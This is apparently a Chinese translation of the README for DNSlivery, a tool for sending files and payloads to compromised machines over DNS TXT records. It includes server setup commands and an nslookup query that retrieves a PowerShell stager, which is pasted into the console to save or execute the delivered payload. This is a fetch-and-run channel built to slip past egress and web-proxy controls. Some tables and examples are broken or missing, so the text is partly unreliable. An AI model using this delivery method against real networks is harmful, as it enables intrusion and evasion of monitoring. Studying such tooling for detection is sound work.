通过 DNS 轻松交付文件和 Payload。
该项目最初受到 PowerDNS 和 Joff Thyer 在 Paul's Security Weekly 播客 #590 (youtu.be/CP6cIwFJswQ) 中的技术环节的启发。
DNSlivery 允许使用 DNS 作为传输协议向目标交付文件。
特性:

当经典的 Web 交付不可行时,轻松地向被攻陷的目标交付文件和/或 Payload,无需专用客户端软件。这适用于限制外发 Web 流量或受到可疑 Web 代理检查的受限环境。

尽管已存在更完整的 DNS 隧道工具(例如 dnscat2 和 iodine),但它们都要求目标运行专用客户端。问题在于,在这种受限环境中,可能除了 DNS 之外别无他法来交付该客户端。换句话说,使用这些工具建立 DNS 通信通道的前提是已经存在一个 DNS 通信通道。
相比之下,DNSlivery 仅提供从服务器到目标的单向通信,但无需任何专用客户端。因此,如果你需要通过 DNS 建立可靠的双向通信通道,请使用 DNSlivery 向目标交付更高级 DNS 隧道工具的客户端。
与大多数 DNS 隧道工具一样,DNSlivery 使用 TXT 记录以 base64 形式存储文件内容。但它不需要设置完整的 DNS 服务器即可工作。相反,它使用 scapy 库监听传入的 DNS 数据包并构造所需的响应。

由于大多数文件无法放入单个 TXT 记录,DNSlivery 会创建多个有序记录,其中包含文件的 base64 块。例如,上图说明了名为 file 文件的第 42 个块的交付过程。
为了检索所有 base64 块并将它们重新组合起来,而无需目标端安装专用客户端,DNSlivery 会为每个文件生成:

这种两阶段交付过程是为了给暂存器添加功能(例如处理丢失的 DNS 响应),否则这些功能无法放入单个 TXT 记录中。
目前仅支持 PowerShell 目标。但可以改进 DNSlivery 以支持其他目标,如 bash 或 python。如果你希望看到此功能实现,请通过 @no0be 告知我。
DNSlivery 不需要构建复杂的服务器基础设施。实际上只有两个简单要求:
NS 记录udp/53 流量的 Linux 服务器第一步是通过在您的域中创建新的 NS 记录,将子域委托给运行 DNSlivery 的服务器。例如,我创建了以下记录,将子域 dnsd.no0.be 委托给服务器 vps.no0.be。
dnsd IN NS vps.no0.be.
如果您的区域由第三方提供商管理,请参考其文档创建 NS 记录。
运行 DNSlivery 的唯一要求是 python3 及其 scapy 库。
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
DNSlivery 将提供指定目录(默认 pwd)中的所有文件,并且需要以 root 权限运行才能监听传入的 udp/53 数据包。
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Easy files and payloads delivery over DNS
positional arguments:
interface interface to listen to DNS traffic
domain FQDN name of the DNS zone
nameserver FQDN name of the server running DNSlivery
optional arguments:
-h, --help show this help message and exit
-p PATH, --path PATH path of directory to serve over DNS (default: pwd)
-s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
-v, --verbose increase verbosity
示例:
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Easy files and payloads delivery over DNS
[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...
由于域名允许的字符集比 UNIX 文件名严格得多(根据 RFC1035),DNSlivery 会在必要时进行规范化。
示例:
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
请注意,当前的规范化代码并不完美,因为它未考虑文件名重叠或大小限制。
在目标上,首先通过请求所需的 TXT 记录来检索所需文件的启动器。支持以下三种启动器:
| 操作 | 启动器 | 描述 |
|---|---|---|
| 打印 | [filename].print.[domain] | (默认)将交付的文件打印到控制台 |
nslookup -type=txt [filename].[stager].[domain]
然后,只需将 DNS 响应中引用的启动器复制并粘贴到 PowerShell 控制台,即可在目标上检索文件。
示例:

| 执行 |
[filename].exec.[domain] |
| 执行交付的文件(适用于脚本) |
| 保存 | [filename].save.[domain] | 将交付的文件保存到磁盘(适用于二进制文件) |